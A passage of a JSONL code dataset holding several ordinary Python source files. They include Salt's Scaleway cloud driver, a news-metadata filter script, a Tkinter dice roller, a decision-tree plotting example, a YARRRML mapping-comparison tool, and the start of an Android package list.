\"action\":\n raise SaltCloudSystemExit(\n \"The avail_images function must be called with \"\n \"-f or --function, or with the --list-images option\"\n )\n\n items = query(method=\"images\", root=\"marketplace_root\")\n ret = {}\n for image in items[\"images\"]:\n ret[image[\"id\"]] = {}\n for item in image:\n ret[image[\"id\"]][item] = str(image[item])\n\n return ret\n\n\ndef list_nodes(call=None):\n \"\"\"Return a list of the BareMetal servers that are on the provider.\"\"\"\n if call == \"action\":\n raise SaltCloudSystemExit(\n \"The list_nodes function must be called with -f or --function.\"\n )\n\n items = query(method=\"servers\")\n\n ret = {}\n for node in items[\"servers\"]:\n public_ips = []\n private_ips = []\n image_id = \"\"\n\n if node.get(\"public_ip\"):\n public_ips = [node[\"public_ip\"][\"address\"]]\n\n if node.get(\"private_ip\"):\n private_ips = [node[\"private_ip\"]]\n\n if node.get(\"image\"):\n image_id = node[\"image\"][\"id\"]\n\n ret[node[\"name\"]] = {\n \"id\": node[\"id\"],\n \"image_id\": image_id,\n \"public_ips\": public_ips,\n \"private_ips\": private_ips,\n \"size\": node[\"volumes\"][\"0\"][\"size\"],\n \"state\": node[\"state\"],\n }\n return ret\n\n\ndef list_nodes_full(call=None):\n \"\"\"Return a list of the BareMetal servers that are on the provider.\"\"\"\n if call == \"action\":\n raise SaltCloudSystemExit(\n \"list_nodes_full must be called with -f or --function\"\n )\n\n items = query(method=\"servers\")\n\n # For each server, iterate on its parameters.\n ret = {}\n for node in items[\"servers\"]:\n ret[node[\"name\"]] = {}\n for item in node:\n value = node[item]\n ret[node[\"name\"]][item] = value\n return ret\n\n\ndef list_nodes_select(call=None):\n \"\"\"Return a list of the BareMetal servers that are on the provider, with\n select fields.\n \"\"\"\n return salt.utils.cloud.list_nodes_select(\n list_nodes_full(\"function\"),\n __opts__[\"query.selection\"],\n call,\n )\n\n\ndef get_image(server_):\n \"\"\"Return the image object to use.\"\"\"\n images = avail_images()\n server_image = str(\n config.get_cloud_config_value(\"image\", server_, __opts__, search_global=False)\n )\n for image in images:\n if server_image in (images[image][\"name\"], images[image][\"id\"]):\n return images[image][\"id\"]\n raise SaltCloudNotFound(\n \"The specified image, '{}', could not be found.\".format(server_image)\n )\n\n\ndef create_node(args):\n \"\"\"Create a node.\"\"\"\n node = query(method=\"servers\", args=args, http_method=\"POST\")\n\n action = query(\n method=\"servers\",\n server_id=node[\"server\"][\"id\"],\n command=\"action\",\n args={\"action\": \"poweron\"},\n http_method=\"POST\",\n )\n return node\n\n\ndef create(server_):\n \"\"\"\n Create a single BareMetal server from a data dict.\n \"\"\"\n try:\n # Check for required profile parameters before sending any API calls.\n if (\n server_[\"profile\"]\n and config.is_profile_configured(\n __opts__,\n _get_active_provider_name() or \"scaleway\",\n server_[\"profile\"],\n vm_=server_,\n )\n is False\n ):\n return False\n except AttributeError:\n pass\n\n __utils__[\"cloud.fire_event\"](\n \"event\",\n \"starting create\",\n \"salt/cloud/{}/creating\".format(server_[\"name\"]),\n args=__utils__[\"cloud.filter_event\"](\n \"creating\", server_, [\"name\", \"profile\", \"provider\", \"driver\"]\n ),\n sock_dir=__opts__[\"sock_dir\"],\n transport=__opts__[\"transport\"],\n )\n\n log.info(\"Creating a BareMetal server %s\", server_[\"name\"])\n\n access_key = config.get_cloud_config_value(\n \"access_key\", get_configured_provider(), __opts__, search_global=False\n )\n\n commercial_type = config.get_cloud_config_value(\n \"commercial_type\", server_, __opts__, default=\"C1\"\n )\n\n key_filename = config.get_cloud_config_value(\n \"ssh_key_file\", server_, __opts__, search_global=False, default=None\n )\n\n if key_filename is not None and not os.path.isfile(key_filename):\n raise SaltCloudConfigError(\n \"The defined key_filename '{}' does not exist\".format(key_filename)\n )\n\n ssh_password = config.get_cloud_config_value(\"ssh_password\", server_, __opts__)\n\n kwargs = {\n \"name\": server_[\"name\"],\n \"organization\": access_key,\n \"image\": get_image(server_),\n \"commercial_type\": commercial_type,\n }\n\n __utils__[\"cloud.fire_event\"](\n \"event\",\n \"requesting instance\",\n \"salt/cloud/{}/requesting\".format(server_[\"name\"]),\n args={\n \"kwargs\": __utils__[\"cloud.filter_event\"](\n \"requesting\", kwargs, list(kwargs)\n ),\n },\n sock_dir=__opts__[\"sock_dir\"],\n transport=__opts__[\"transport\"],\n )\n\n try:\n ret = create_node(kwargs)\n except Exception as exc: # pylint: disable=broad-except\n log.error(\n \"Error creating %s on Scaleway\\n\\n\"\n \"The following exception was thrown when trying to \"\n \"run the initial deployment: %s\",\n server_[\"name\"],\n exc,\n # Show the traceback if the debug logging level is enabled\n exc_info_on_loglevel=logging.DEBUG,\n )\n return False\n\n def __query_node_data(server_name):\n \"\"\"Called to check if the server has a public IP address.\"\"\"\n data = show_instance(server_name, \"action\")\n if data and data.get(\"public_ip\"):\n return data\n return False\n\n try:\n data = salt.utils.cloud.wait_for_ip(\n __query_node_data,\n update_args=(server_[\"name\"],),\n timeout=config.get_cloud_config_value(\n \"wait_for_ip_timeout\", server_, __opts__, default=10 * 60\n ),\n interval=config.get_cloud_config_value(\n \"wait_for_ip_interval\", server_, __opts__, default=10\n ),\n )\n except (SaltCloudExecutionTimeout, SaltCloudExecutionFailure) as exc:\n try:\n # It might be already up, let's destroy it!\n destroy(server_[\"name\"])\n except SaltCloudSystemExit:\n pass\n finally:\n raise SaltCloudSystemExit(str(exc))\n\n server_[\"ssh_host\"] = data[\"public_ip\"][\"address\"]\n server_[\"ssh_password\"] = ssh_password\n server_[\"key_filename\"] = key_filename\n ret = __utils__[\"cloud.bootstrap\"](server_, __opts__)\n\n ret.update(data)\n\n log.info(\"Created BareMetal server '%s'\", server_[\"name\"])\n log.debug(\n \"'%s' BareMetal server creation details:\\n%s\",\n server_[\"name\"],\n pprint.pformat(data),\n )\n\n __utils__[\"cloud.fire_event\"](\n \"event\",\n \"created instance\",\n \"salt/cloud/{}/created\".format(server_[\"name\"]),\n args=__utils__[\"cloud.filter_event\"](\n \"created\", server_, [\"name\", \"profile\", \"provider\", \"driver\"]\n ),\n sock_dir=__opts__[\"sock_dir\"],\n transport=__opts__[\"transport\"],\n )\n\n return ret\n\n\ndef query(\n method=\"servers\",\n server_id=None,\n command=None,\n args=None,\n http_method=\"GET\",\n root=\"api_root\",\n):\n \"\"\"Make a call to the Scaleway API.\"\"\"\n\n if root == \"api_root\":\n default_url = \"https://cp-par1.scaleway.com\"\n else:\n default_url = \"https://api-marketplace.scaleway.com\"\n\n vm_ = get_configured_provider()\n\n base_path = str(\n config.get_cloud_config_value(\n root,\n vm_,\n __opts__,\n search_global=False,\n default=default_url,\n )\n )\n\n path = \"{}/{}/\".format(base_path, method)\n\n if server_id:\n path += \"{}/\".format(server_id)\n\n if command:\n path += command\n\n if not isinstance(args, dict):\n args = {}\n\n token = config.get_cloud_config_value(\"token\", vm_, __opts__, search_global=False)\n\n data = salt.utils.json.dumps(args)\n\n request = __utils__[\"http.query\"](\n path,\n method=http_method,\n data=data,\n headers={\n \"X-Auth-Token\": token,\n \"User-Agent\": \"salt-cloud\",\n \"Content-Type\": \"application/json\",\n },\n )\n if request.status_code > 299:\n raise SaltCloudSystemExit(\n \"An error occurred while querying Scaleway. HTTP Code: {} \"\n \"Error: '{}'\".format(request.status_code, request.text)\n )\n\n # success without data\n if request[\"status\"] == 204:\n return True\n\n return salt.utils.json.loads(request[\"body\"])\n\n\ndef script(server_):\n \"\"\"Return the script deployment object.\"\"\"\n return salt.utils.cloud.os_script(\n config.get_cloud_config_value(\"script\", server_, __opts__),\n server_,\n __opts__,\n salt.utils.cloud.salt_config_to_yaml(\n salt.utils.cloud.minion_config(__opts__, server_)\n ),\n )\n\n\ndef show_instance(name, call=None):\n \"\"\"Show the details from a Scaleway BareMetal server.\"\"\"\n if call != \"action\":\n raise SaltCloudSystemExit(\n \"The show_instance action must be called with -a or --action.\"\n )\n node = _get_node(name)\n __utils__[\"cloud.cache_node\"](node, _get_active_provider_name(), __opts__)\n return node\n\n\ndef _get_node(name):\n for attempt in reversed(list(range(10))):\n try:\n return list_nodes_full()[name]\n except KeyError:\n log.debug(\n \"Failed to get the data for node '%s'. Remaining attempts: %s\",\n name,\n attempt,\n )\n # Just a little delay between attempts...\n time.sleep(0.5)\n return {}\n\n\ndef destroy(name, call=None):\n \"\"\"Destroy a node. Will check termination protection and warn if enabled.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud --destroy mymachine\n \"\"\"\n if call == \"function\":\n raise SaltCloudSystemExit(\n \"The destroy action must be called with -d, --destroy, -a or --action.\"\n )\n\n __utils__[\"cloud.fire_event\"](\n \"event\",\n \"destroying instance\",\n \"salt/cloud/{}/destroying\".format(name),\n args={\"name\": name},\n sock_dir=__opts__[\"sock_dir\"],\n transport=__opts__[\"transport\"],\n )\n\n data = show_instance(name, call=\"action\")\n node = query(\n method=\"servers\",\n server_id=data[\"id\"],\n command=\"action\",\n args={\"action\": \"terminate\"},\n http_method=\"POST\",\n )\n\n __utils__[\"cloud.fire_event\"](\n \"event\",\n \"destroyed instance\",\n \"salt/cloud/{}/destroyed\".format(name),\n args={\"name\": name},\n sock_dir=__opts__[\"sock_dir\"],\n transport=__opts__[\"transport\"],\n )\n\n if __opts__.get(\"update_cachedir\", False) is True:\n __utils__[\"cloud.delete_minion_cachedir\"](\n name, _get_active_provider_name().split(\":\")[0], __opts__\n )\n\n return node\n","repo_name":"saltstack/salt","sub_path":"salt/cloud/clouds/scaleway.py","file_name":"scaleway.py","file_ext":"py","file_size_in_byte":12878,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"} +{"seq_id":"1028432091","text":"import argparse\nimport glob\nimport gzip\nimport json\nimport os\nimport tqdm\n\nfrom newsplease import NewsPlease\n\nURLS = {\"bbc\": \"https://www.bbc.com/\",\n \"cnn\": \"https://www.cnn.com/\",\n \"dw\": \"https://www.dw.com/en/\",\n \"reuters\": \"https://www.reuters.com/article/\",\n \"guardian\": \"https://www.theguardian.com/\",\n \"ap\": \"https://apnews.com/article/\"}\n\ndef filter_data(base_path):\n filenames = glob.glob(base_path + \"/en_metadata/en_meta_part_*.jsonl.gz\")\n filenames = filenames[::-1]\n for filename in tqdm.tqdm(filenames):\n \n idx = filename.split('_')[-1].split('.')[0]\n output_path = base_path + \"/metadata_processed/metadata_processed_\" + str(idx) + \".jsonl\"\n if os.path.exists(output_path):\n continue\n \n with open(output_path, 'w') as f_out:\n with gzip.open(filename, 'rb') as f:\n for i, line in enumerate(f):\n \n line = json.loads(line)\n \n process = False\n for url_key in URLS:\n url = URLS[url_key]\n if url in line['headers']['warc-target-uri']:\n process =True\n name = url_key\n\n if process:\n if 'content-type' in line['headers']:\n if 'text/plain'==line['headers']['content-type']:\n try:\n article = NewsPlease.from_url(line['headers']['warc-target-uri'])\n current_year = article.date_publish.year\n current_month = article.date_publish.month\n line[\"time_stamp\"] = str(current_year) + '_' + str(current_month)\n line[\"data_source_name\"] = name\n line[\"data_example_id\"] = str(idx) + \"_\" + str(i)\n f_out.write(json.dumps(line))\n f_out.write('\\n')\n except:\n pass\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--base_path\",\n default='data/OSCAR-2109/', \n type=str,\n )\n args, _ = parser.parse_known_args()\n filter_data(args.base_path)","repo_name":"facebookresearch/EDIN","sub_path":"data_processor/news/extract_subset.py","file_name":"extract_subset.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"78"} +{"seq_id":"28010829477","text":"#!/usr/bin/env python\n\"\"\" \nFor when the kids have lost the Monopoly dice and you want nothing more than to dominate \nLondon's real estate on a Saturday night. And Sunday night. And maybe Monday. Monopoly is one\nhell of a long game. \n\"\"\"\nimport random\nfrom tkinter import *\n\n__author__ = \"Scott Lockett\"\n\n__license__ = \"GPL\"\n__version__ = \"1.0.0\"\n__maintainer__ = \"Scott Lockett\"\n__email__ = \"scottlockett1994@gmail.com\"\n\n\"\"\"\nClass for the dice GUI\n\"\"\"\nclass UserInterface:\n\n \"\"\"\n Sets up the GUI window of the application\n \"\"\"\n def __init__(self):\n self.window = Tk()\n self.window.title(\"Scott's Dice\")\n self.window.geometry('350x200')\n self.number_label = Label(self.window, text=str(self.get_random_dice_number()))\n\n \"\"\"\n Adds the number label and \n \"\"\"\n def create_UI(self):\n self.number_label.grid(column=0, row=0)\n random_number_button = Button(self.window, text=\"Roll...\", command=self.button_clicked)\n random_number_button.grid(column=1, row=0)\n self.window.mainloop()\n\n \"\"\"\n Handles the roll button being clicked\n \"\"\"\n def button_clicked(self):\n self.number_label.configure(text=self.get_random_dice_number())\n\n \"\"\"\n Creates the random dice number\n \"\"\"\n def get_random_dice_number(self):\n return random.randint(1,6)\n\ndef main():\n ui = UserInterface()\n ui.create_UI()\n \nif __name__ == \"__main__\": main()\n","repo_name":"scottl111/Dice","sub_path":"dice_UI.py","file_name":"dice_UI.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37132791571","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import ListedColormap\nfrom sklearn.datasets import make_moons\nfrom sklearn.tree import DecisionTreeClassifier\n\nX, y = make_moons(n_samples=100, noise=0.25, random_state=42)\n\ntree_clf1 = DecisionTreeClassifier(random_state=42)\ntree_clf2 = DecisionTreeClassifier(min_samples_leaf=4, random_state=42)\n\ntree_clf1.fit(X, y)\ntree_clf2.fit(X, y)\n\ndef plot_decision_boundary(clf, X, y, axes=[0, 7.5, 0, 3], iris=True, legend=False, plot_training=True):\n x1s = np.linspace(axes[0], axes[1], 100)\n x2s = np.linspace(axes[2], axes[3], 100)\n x1, x2 = np.meshgrid(x1s, x2s)\n X_new = np.c_[x1.ravel(), x2.ravel()]\n y_pred = clf.predict(X_new).reshape(x1.shape)\n custom_cmap = ListedColormap(['#fafab0','#9898ff','#a0faa0'])\n plt.contourf(x1, x2, y_pred, alpha=0.3, cmap=custom_cmap, linewidth=10)\n if not iris:\n custom_cmap2 = ListedColormap(['#7d7d58','#4c4c7f','#507d50'])\n plt.contour(x1, x2, y_pred, cmap=custom_cmap2, alpha=0.8)\n if plot_training:\n plt.plot(X[:, 0][y == 0], X[:, 1][y == 0], \"yo\", label=\"Iris-Setosa\")\n plt.plot(X[:, 0][y == 1], X[:, 1][y == 1], \"bs\", label=\"Iris-Versicolor\")\n plt.plot(X[:, 0][y == 2], X[:, 1][y == 2], \"g^\", label=\"Iris-Virginica\")\n plt.axis(axes)\n if iris:\n plt.xlabel(\"Petal length\", fontsize=14)\n plt.ylabel(\"Petal width\", fontsize=14)\n else:\n plt.xlabel(r\"$x_1$\", fontsize=18)\n plt.ylabel(r\"$x_2$\", fontsize=18, rotation=0)\n if legend:\n plt.legend(loc=\"lower right\", fontsize=14)\n\nplt.figure(figsize=(11, 4))\nplt.subplot(121)\nplot_decision_boundary(tree_clf1, X, y, axes=[-1.5, 2.5, -1, 1.5], iris=False)\nplt.title(\"No restrictions\", fontsize=16)\nplt.subplot(122)\nplot_decision_boundary(tree_clf2, X, y, axes=[-1.5, 2.5, -1, 1.5], iris=False)\nplt.title(\"min_samples_leaf = {}\".format(tree_clf2.min_samples_leaf), fontsize=14)\n\nplt.show()\n","repo_name":"rnd-forests/learning-ml","sub_path":"decision-trees/classification/hyperparams.py","file_name":"hyperparams.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24592237531","text":"import sys\nfrom yaml import load\n\ntry:\n from yaml import CLoader as Loader, CDumper as Dumper\nexcept ImportError:\n from yaml import Loader, Dumper\n\nYARRRML_KEYS = {\n 'mappings': ['mappings', 'mapping'],\n 'predicateobjects': ['predicateobjects', 'predicateobject', 'po'],\n 'predicates': ['predicates', 'predicate', 'p'],\n 'objects': ['objects', 'object', 'o'],\n 'value': ['value', 'v']\n}\n\n\ndef get_keys(d, key):\n # Get the value of the first key in corresponding YARRRML_KEYS that match a key in d\n if key in YARRRML_KEYS:\n for yarrrml_key in YARRRML_KEYS[key]:\n if yarrrml_key in d:\n return d[key]\n return {}\n\n\n# Return all of the subject templates of a mapping\ndef get_subjects(yarrrml):\n mappings = get_keys(yarrrml, 'mappings')\n\n subjects = set()\n for mapping_name, mapping in mappings.items():\n subjects.add((mapping_name, get_keys(yarrrml, 'mappings')[mapping_name]['subject'])) # send both the reference and the template\n\n return subjects\n\n\n# Return all of the object templates of a mapping\ndef get_objects(yarrrml):\n mappings = get_keys(yarrrml, 'mappings')\n\n names = set()\n for mapping_name, mapping in mappings.items():\n names.add(mapping_name)\n\n objects = set()\n for mapping_name, mapping in mappings.items():\n predicate_objects = get_keys(mapping, 'predicateobjects')\n for predicate_object in predicate_objects:\n if predicate_object[1] in names: # If object is a reference, we use the subject it refers to\n objects.add((predicate_object[1], mappings[predicate_object[1]]['subject'])) # send both the reference and the template\n else:\n objects.add((predicate_object[1], predicate_object[1])) # send the object twice so it wont cause issue later\n\n return objects\n\n\n# Return all of the predicate of a mapping in relation to a given subject\ndef get_triplets_of_subject(yarrrml, subject_to_search_with):\n mappings = get_keys(yarrrml, 'mappings')\n\n predicates = []\n objects = []\n for mapping_name, mapping in mappings.items():\n if subject_to_search_with == mappings[mapping_name]['subject']:\n predicate_objects = get_keys(mapping, 'predicateobjects')\n for predicate_object in predicate_objects:\n predicates.append(predicate_object[0])\n objects.append(predicate_object[1])\n return predicates, objects\n\n\n# Return all of the predicate of a mapping in relation to a given object\ndef get_triplets_of_object(yarrrml, object_to_search_with):\n mappings = get_keys(yarrrml, 'mappings')\n\n names = set()\n for mapping_name, mapping in mappings.items():\n names.add(mapping_name)\n\n predicates = []\n subjects = []\n for mapping_name, mapping in mappings.items():\n predicate_objects = get_keys(mapping, 'predicateobjects')\n for predicate_object in predicate_objects:\n if predicate_object[1] in names: # If object is a reference to a subject, we use the subject it refers to\n if object_to_search_with == mappings[predicate_object[1]]['subject']:\n predicates.append(predicate_object[0])\n subjects.append(mapping['subject'])\n else:\n if object_to_search_with == predicate_object[1]:\n predicates.append(predicate_object[0])\n subjects.append(mapping['subject'])\n return predicates, subjects\n\n\ndef Jaccard_index(predicates1, predicates2, objects1, objects2):\n\n set1 = set()\n set2 = set()\n\n for i in range(len(objects1)):\n if predicates1[i] == 'a' or predicates1[i] == 'rdf:type':\n set1.add(objects1[i])\n for i in range(len(objects2)):\n if predicates2[i] == 'a' or predicates2[i] == 'rdf:type':\n set2.add(objects2[i])\n\n Jaccard = len(set1.intersection(set2))/len(set1.union(set2))\n\n return Jaccard\n\n\n# return the triple patterns created with Subject-Subject joins\ndef S2S_joinDetection(yarrrml1, yarrrml2, Jaccard_treshold):\n\n templates = [] # List of all tempalte used for joins\n bgp = [] # List of all joins made with those templates\n Jaccards = [] # List of the Jaccard index linked to those join\n list_tp_per_template_count = []\n tp_M1_count = 0 # Per template\n tp_M2_count = 0 # Per template\n\n id_subject = 0\n\n for subject1 in get_subjects(yarrrml1):\n for subject2 in get_subjects(yarrrml2):\n\n predicates1, objects1 = get_triplets_of_subject(yarrrml1, subject1[1])\n predicates2, objects2 = get_triplets_of_subject(yarrrml2, subject2[1])\n\n Jaccard = Jaccard_index(predicates1, predicates2, objects1, objects2)\n\n if Jaccard >= Jaccard_treshold:\n\n templates.append({'M1': subject1[0],\n 'M2': subject2[0]})\n Jaccards.append(Jaccard)\n id_subject = id_subject + 1\n id_object = 0\n triple_patterns = []\n tp_per_template_count = 0\n\n for i in range(len(predicates1)):\n if predicates1[i] in predicates2:\n if predicates1[i] == 'a' or predicates1[i] == 'rdf:thing':\n if objects1[i] in objects2:\n source = 'M1 M2'\n else:\n source = 'M1'\n tp_M1_count += 1\n else:\n source = 'M1 M2'\n else:\n source = 'M1'\n tp_M1_count += 1\n\n tp_per_template_count += 1\n\n if predicates1[i] == 'rdf:type' or predicates1[i] == 'a': # if the object is a type, we keep it for the pattern\n triple_patterns.append(\n {'subject': '?s' + str(id_subject),\n 'predicate': 'rdf:type',\n 'object': objects1[i],\n 'source': source})\n else:\n id_object = id_object+1\n triple_patterns.append(\n {'subject': '?s' + str(id_subject),\n 'predicate': str(predicates1[i]),\n 'object': '?o' + str(id_object),\n 'source': source})\n\n for i in range(len(predicates2)):\n\n #test if the (predicate, object) pair wasn't already used from the other mapping\n used_pair = False\n for j in range(len(predicates1)):\n #if we have a common predicate that don't refer to a type object\n if predicates2[i] == predicates1[j] and not (predicates2[i] == 'a' or predicates2[i] == 'rdf:type'):\n used_pair = True\n #if we have a common predicate and a common subject\n elif predicates2[i] == predicates1[j] and objects2[i] == objects1[j]:\n used_pair = True\n\n if not used_pair:\n source = 'M2'\n tp_M2_count += 1\n\n tp_per_template_count += 1\n\n if predicates2[i] == 'rdf:type' or predicates2[i] == 'a': # if the object is a type, we keep it for the pattern\n triple_patterns.append(\n {'subject': '?s' + str(id_subject),\n 'predicate': 'rdf:type',\n 'object': objects2[i],\n 'source': source})\n else:\n id_object = id_object+1\n triple_patterns.append(\n {'subject': '?s' + str(id_subject),\n 'predicate': str(predicates2[i]),\n 'object': '?o' + str(id_object),\n 'source': source})\n\n list_tp_per_template_count.append(tp_per_template_count)\n bgp.append(triple_patterns)\n Jaccards.append(Jaccard)\n\n return {'templates': templates,\n 'Jaccard_index': Jaccards,\n 'triple_patterns': bgp,\n 'Number_of_triple_patterns': list_tp_per_template_count,\n 'Number_of_triple_patterns_from_M1': tp_M1_count,\n 'Number_of_triple_patterns_from_M2': tp_M2_count}\n\n\n# return the triple patterns created with Object-Object joins\ndef O2O_joinDetection(yarrrml1, yarrrml2, Jaccard_treshold):\n\n templates = [] # List of all tempalte used for joins\n bgp = [] # List of all joins made with those templates\n Jaccards = [] # List of the Jaccard index linked to those join\n list_tp_per_template_count = []\n tp_M1_count = 0 # Per template\n tp_M2_count = 0 # Per template\n\n id_object = 0\n\n for object1 in get_objects(yarrrml1):\n for object2 in get_objects(yarrrml2):\n\n predicates1, objects1 = get_triplets_of_subject(yarrrml1, object1[1])\n predicates2, objects2 = get_triplets_of_subject(yarrrml2, object2[1])\n\n Jaccard = 0\n if predicates1 and predicates2:\n Jaccard = Jaccard_index(predicates1, predicates2, objects1, objects2)\n\n if Jaccard >= Jaccard_treshold or object1[0] == object2[0]:\n\n templates.append({'M1': object1[0],\n 'M2': object2[0]})\n Jaccards.append(Jaccard)\n id_object = id_object + 1\n id_subject = 0\n triple_patterns = []\n tp_per_template_count = 0\n\n predicates1, subjects1 = get_triplets_of_object(yarrrml1, object1[1])\n predicates2, subjects2 = get_triplets_of_object(yarrrml2, object2[1])\n\n for i in range(len(predicates1)):\n if predicates1[i] in predicates2:\n source = 'M1 M2'\n else:\n source = 'M1'\n tp_M1_count += 1\n\n # test if the triplet pattern isn't already in the list\n already_in = False\n k = 0\n while k < len(triple_patterns) and not already_in:\n if predicates1[i] == triple_patterns[k]['predicate']:\n if predicates1[i] == 'rdf:type' or predicates1[i] == 'a':\n if object1[1] == triple_patterns[k]['object']:\n already_in = True\n else:\n already_in = True\n k += 1\n\n if not already_in:\n tp_per_template_count += 1\n id_subject = id_subject + 1\n\n if predicates1[i] == 'rdf:type' or predicates1[i] == 'a': # if the object is a type, we keep it for the pattern\n triple_patterns.append(\n {'subject': '?s' + str(id_subject),\n 'predicate': 'rdf:type',\n 'object': object1[1],\n 'source': source})\n else:\n triple_patterns.append(\n {'subject': '?s' + str(id_subject),\n 'predicate': str(predicates1[i]),\n 'object': '?o' + str(id_object),\n 'source': source})\n\n for i in range(len(predicates2)):\n if predicates2[i] not in predicates1:\n source = 'M2'\n tp_M2_count += 1\n\n tp_per_template_count += 1\n id_subject = id_subject + 1\n\n if predicates2[i] == 'rdf:type' or predicates2[i] == 'a': # if the object is a type, we keep it for the pattern\n triple_patterns.append(\n {'subject': '?s' + str(id_subject),\n 'predicate': 'rdf:type',\n 'object': object2[1],\n 'source': source})\n else:\n triple_patterns.append(\n {'subject': '?s' + str(id_subject),\n 'predicate': str(predicates2[i]),\n 'object': '?o' + str(id_object),\n 'source': source})\n\n list_tp_per_template_count.append(tp_per_template_count)\n bgp.append(triple_patterns)\n\n return {'templates': templates,\n 'Jaccard_index': Jaccards,\n 'triple_patterns': bgp,\n 'Number_of_triple_patterns': list_tp_per_template_count,\n 'Number_of_triple_patterns_from_M1': tp_M1_count,\n 'Number_of_triple_patterns_from_M2': tp_M2_count}\n\n\n# return the triple patterns created with Subject-Object joins\n# reversed act as the mappings are inverted, changing the 'source' variable, thus allowing to do Object-Subject joins\ndef S2O_joinDetection(yarrrml1, yarrrml2, Jaccard_treshold, reversed=False):\n\n templates = [] # List of all tempalte used for joins\n bgp = [] # List of all joins made with those templates\n Jaccards = [] # List of the Jaccard index linked to those join\n list_tp_per_template_count = []\n tp_M1_count = 0 # Per template\n tp_M2_count = 0 # Per template\n\n id_template = 0\n\n for subject in get_subjects(yarrrml1):\n for object in get_objects(yarrrml2):\n\n predicates1, objects1 = get_triplets_of_subject(yarrrml1, subject[1])\n predicates2, objects2 = get_triplets_of_subject(yarrrml2, object[1])\n\n Jaccard = 0\n if predicates1 and predicates2:\n Jaccard = Jaccard_index(predicates1, predicates2, objects1, objects2)\n\n if subject == object or Jaccard >= Jaccard_treshold:\n\n if not reversed:\n templates.append({'M1': subject[0],\n 'M2': object[0]})\n else:\n templates.append({'M1': object[0],\n 'M2': subject[0]})\n\n Jaccards.append(Jaccard)\n id_template = id_template + 1\n id_filler = 0\n triple_patterns = []\n tp_per_template_count = 0\n\n predicates2, objects2 = get_triplets_of_object(yarrrml2, object[1])\n\n for i in range(len(predicates1)):\n if predicates1[i] in predicates2:\n if predicates1[i] == 'a' or predicates1[i] == 'rdf:thing':\n if objects1[i] in objects2:\n source = 'M1 M2'\n else:\n if not reversed:\n source = 'M1'\n tp_M1_count += 1\n else:\n source = 'M2'\n tp_M2_count += 1\n else:\n source = 'M1 M2'\n else:\n if not reversed:\n source = 'M1'\n tp_M1_count += 1\n else:\n source = 'M2'\n tp_M2_count += 1\n\n tp_per_template_count += 1\n\n if predicates1[i] == 'rdf:type' or predicates1[i] == 'a': # if the object is a type, we keep it for the pattern\n triple_patterns.append(\n {'subject': '?t' + str(id_template),\n 'predicate': 'rdf:type',\n 'object': objects1[i],\n 'source': source})\n else:\n id_filler = id_filler + 1\n triple_patterns.append(\n {'subject': '?t' + str(id_template),\n 'predicate': str(predicates1[i]),\n 'object': '?f' + str(id_filler),\n 'source': source})\n\n for i in range(len(predicates2)):\n if predicates2[i] in predicates1:\n source = 'M1 M2'\n else:\n if not reversed:\n source = 'M2'\n tp_M2_count += 1\n else:\n source = 'M1'\n tp_M1_count += 1\n\n tp_per_template_count += 1\n id_filler = id_filler + 1\n\n triple_patterns.append(\n {'subject': '?f' + str(id_filler),\n 'predicate': str(predicates2[i]),\n 'object': '?t' + str(id_template),\n 'source': source})\n\n list_tp_per_template_count.append(tp_per_template_count)\n bgp.append(triple_patterns)\n\n return {'templates': templates,\n 'Jaccard_index': Jaccards,\n 'triple_patterns': bgp,\n 'Number_of_triple_patterns': list_tp_per_template_count,\n 'Number_of_triple_patterns_from_M1': tp_M1_count,\n 'Number_of_triple_patterns_from_M2': tp_M2_count}\n\n\ndef compare_mappings(yarrrml1, yarrrml2, Jaccard_treshold):\n return {'subject-subject': S2S_joinDetection(yarrrml1, yarrrml2, Jaccard_treshold),\n 'object-object': O2O_joinDetection(yarrrml1, yarrrml2, Jaccard_treshold),\n 'subject-object': S2O_joinDetection(yarrrml1, yarrrml2, Jaccard_treshold),\n 'object-subject': S2O_joinDetection(yarrrml2, yarrrml1, Jaccard_treshold, reversed=True)}\n\n\ndef compare(mapping1, mapping2, Jaccard_treshold=0.000001):\n\n yarrrml1 = load(open(mapping1), Loader=Loader)\n yarrrml2 = load(open(mapping2), Loader=Loader)\n\n return compare_mappings(yarrrml1, yarrrml2, Jaccard_treshold)\n","repo_name":"Manoe-K/MaRQ","sub_path":"MaRQ.py","file_name":"MaRQ.py","file_ext":"py","file_size_in_byte":18745,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"38108906486","text":"import hifi_utils\nimport json\nimport os\nimport platform\nimport re\nimport shutil\nimport xml.etree.ElementTree as ET\nimport functools\nimport zipfile\n\nprint = functools.partial(print, flush=True)\n\nANDROID_PACKAGES = {\n 'qt' : {\n 'extAssetID': 'QT_LINUX_ARMV8_LIBCPP_OPENSSL_PATCHED',\n },\n 'bullet': {\n 'extAssetID': 'BULLET_ARMV8_LIBCPP',\n },\n 'draco': {\n 'extAssetID': 'DRACO_ARMV8_LIBCPP',\n },\n 'glad': {\n 'extAssetID': 'GLAD_ARMV8_LIBCPP',\n },\n 'gvr': {\n 'extAssetID': 'GVRSDK',\n },\n 'nvtt': {\n 'extAssetID': 'NVTT_ARMV8_LIBCPP',\n 'sharedLibFolder': 'lib',\n 'includeLibs': ['libnvtt.so', 'libnvmath.so', 'libnvimage.so', 'libnvcore.so']\n },\n 'ovr_sdk_mobile_1.37.0': {\n 'extAssetID': 'OVR_SDK_MOBILE',\n 'sharedLibFolder': 'VrApi/Libs/Android/arm64-v8a/Release',\n 'includeLibs': ['libvrapi.so']\n },\n 'ovr_platform_sdk_23.0.0': {\n 'extAssetID': 'OVR_PLATFORM_SDK_ANDROID',\n 'sharedLibFolder': 'Android/libs/arm64-v8a',\n 'includeLibs': ['libovrplatformloader.so']\n },\n 'openssl': {\n 'extAssetID': 'OPENSSL_ANDROID',\n },\n 'polyvox': {\n 'extAssetID': 'POLYVOX_ARMV8_LIBCPP',\n 